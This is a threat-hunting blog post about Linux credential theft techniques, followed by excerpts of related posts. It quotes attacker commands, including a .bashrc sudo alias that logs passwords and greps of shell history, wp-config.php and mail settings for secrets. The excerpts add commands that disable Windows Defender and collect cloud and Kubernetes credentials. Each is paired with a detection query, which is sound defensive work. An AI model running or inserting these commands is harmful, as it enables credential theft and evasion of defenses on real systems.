419. Threat Actors Leverage Multiple Techniques to Obtain Credentials in Linux

Hello everyone!

We don't often talk about attacks targeting Linux, but I recently came across an interesting report describing several credential access techniques: Input Capture (T1056), Credentials In Files (T1552.001), and Shell History (T1552.003).

First, the attackers replaced the legitimate .bashrc file with their own version, which included a command to capture credentials:

alias sudo='echo -n "[sudo] password for $USER: " && read -r p && echo "$USER:$p" | base64 -w0 >>/dev/shm/Solarwinds.StatusLog.txt && /usr/bin/sudo $@'

We can hunt for newly created .bashrc files using the following query:

event_type: "filecreatenix"

AND

file_path: "bashrc"

Second, the attackers searched for credentials in .bash_history and .mysql_history files:

/bin/sh -c grep -r 'password|passwd|secret' /root/.bash_history 2>/dev/null; cat /root/.mysql_history 2>/dev/null | tail -30

Similar suspicious activity can be hunted for using the following query:

event_type: "processcreatenix"

AND

proc_file_path: ("grep" OR "cat")

AND

cmdline: ("bash_history" OR "mysql_history")

The attackers also searched for credentials in WordPress configuration files:

/bin/sh -c cat /home/$USER/public_html/wp-config.php | grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|table_prefix'

As in the previous case, this activity may be suspicious:

event_type: "processcreatenix"

AND

proc_file_path: "cat"

AND

cmdline: "wp-config.php"

Finally, the attackers were also interested in email passwords:

/bin/sh -c echo "<<\<SCAN_START_MARKER>>>" && grep -HrE "(?i)(?:\\"|')?(?:SMTP\_|MAIL\_|EMAIL\_)(?:PASS(?:WORD)?|PWD)(?:\\"|')?\s\*(?:[:=])\s\*[\\"']\([^\\"']{6,})[\\"']" . 2>/dev/null && echo "<<\<SCAN_END_MARKER>>>"

In this case, we can hunt for suspicious use of grep, for example:

event_type: "processcreatenix"

AND

proc_file_path: "grep"

AND

cmdline: (*pass* OR *pwd*)

See you soon!

Comments

Post a Comment

Popular posts from this blog

343. Ransomware Gangs Abuse SystemSettingsAdminFlows to Evade Defenses

Image
Hello everyone! Today we'll look at another example of how adversaries abuse legitimate Windows executables to evade defenses. This time it's  SystemSettingsAdminFlows.exe . According to this report , DeadLock leveraged this utility to disable various features of Windows Defender: SystemSettingsAdminFlows.exe Defender RTP 1  SystemSettingsAdminFlows.exe Defender SpynetReporting 0  SystemSettingsAdminFlows.exe Defender SubmitSamplesConsent 0  SystemSettingsAdminFlows.exe Defender DisableEnhancedNotifications 1 The commands disable Real-Time Protection (RTP) and cloud-based protections, stops the machine from sending threat reports to Microsoft, and prevent Windows Defender from automatically submitting suspicious files for analysis. Worth a query, isn't it? event_type: "processcreatewin" AND proc_file_path: "systemsettingsadminflows.exe" AND cmdline: "defender" See you tomorrow!
Read more

391. Hunting for TeamPCP's Stealer

Image
Hello everyone! What do I know about stealers? They seem to be very noisy! And today, we’ll once again see that in action using TeamPCP (Haze Wolf) as an example. This time , the stealer was implanted by attackers into three versions of the xinference package (2.6.0, 2.6.1, and 2.6.2). Essentially, it collects SSH keys, various credentials, environment variables, crypto wallets, and much more, then uses cURL for exfiltration. Let’s take a look at a couple of techniques the attackers used to obtain credentials. For example, they were interested in data stored in environment variables: env | grep AWS_ env | grep -i google env | grep -i gcloud env | grep -i azure This looks fairly suspicious from a detection perspective: event_type: processcreate* AND proc_file_path: "env" AND cmdline: ("grep" AND ("aws_" OR "google" OR "azure" OR "gcloud")) Another technique was abusing kubectl to obtain credentials: kubectl get secrets --all-n...
Read more

388. Ransomware Gang Abuses FTK Imager for Defense Evasion

Image
Hello everyone! Today we’ll talk about another forensic tool that attackers used in the context of the Impair Defenses technique: Disable or Modify Tools (T1562.001) . Once again, the topic is ransomware. This time, we’re looking at the STAC4713 cluster, which distributes the PayoutsKing ransomware. To add exclusions to Windows Defender, the attackers used FTK Imager - a forensic tool designed for creating disk images. The key point is that during installation, this tool allows a selected path to be added to exclusions, which is exactly what the attackers exploited. The following command is executed: powershell -command $ExclusionType;$ExclusionFile = '"ExterroExclusions.txt"';if(Test-Path -path $ExclusionFile ){ $Exclusions = Get-Content $ExclusionFile; foreach ($Item in $Exclusions ) { $ItemTrimmed = $Item.trim(); if($Item.length -gt 0){ if($ItemTrimmed.StartsWith('-')) { $ExclusionType = $ItemTrimmed; Write-Host $ExclusionType; } elseif ( !($ItemTrimmed.St...
Read more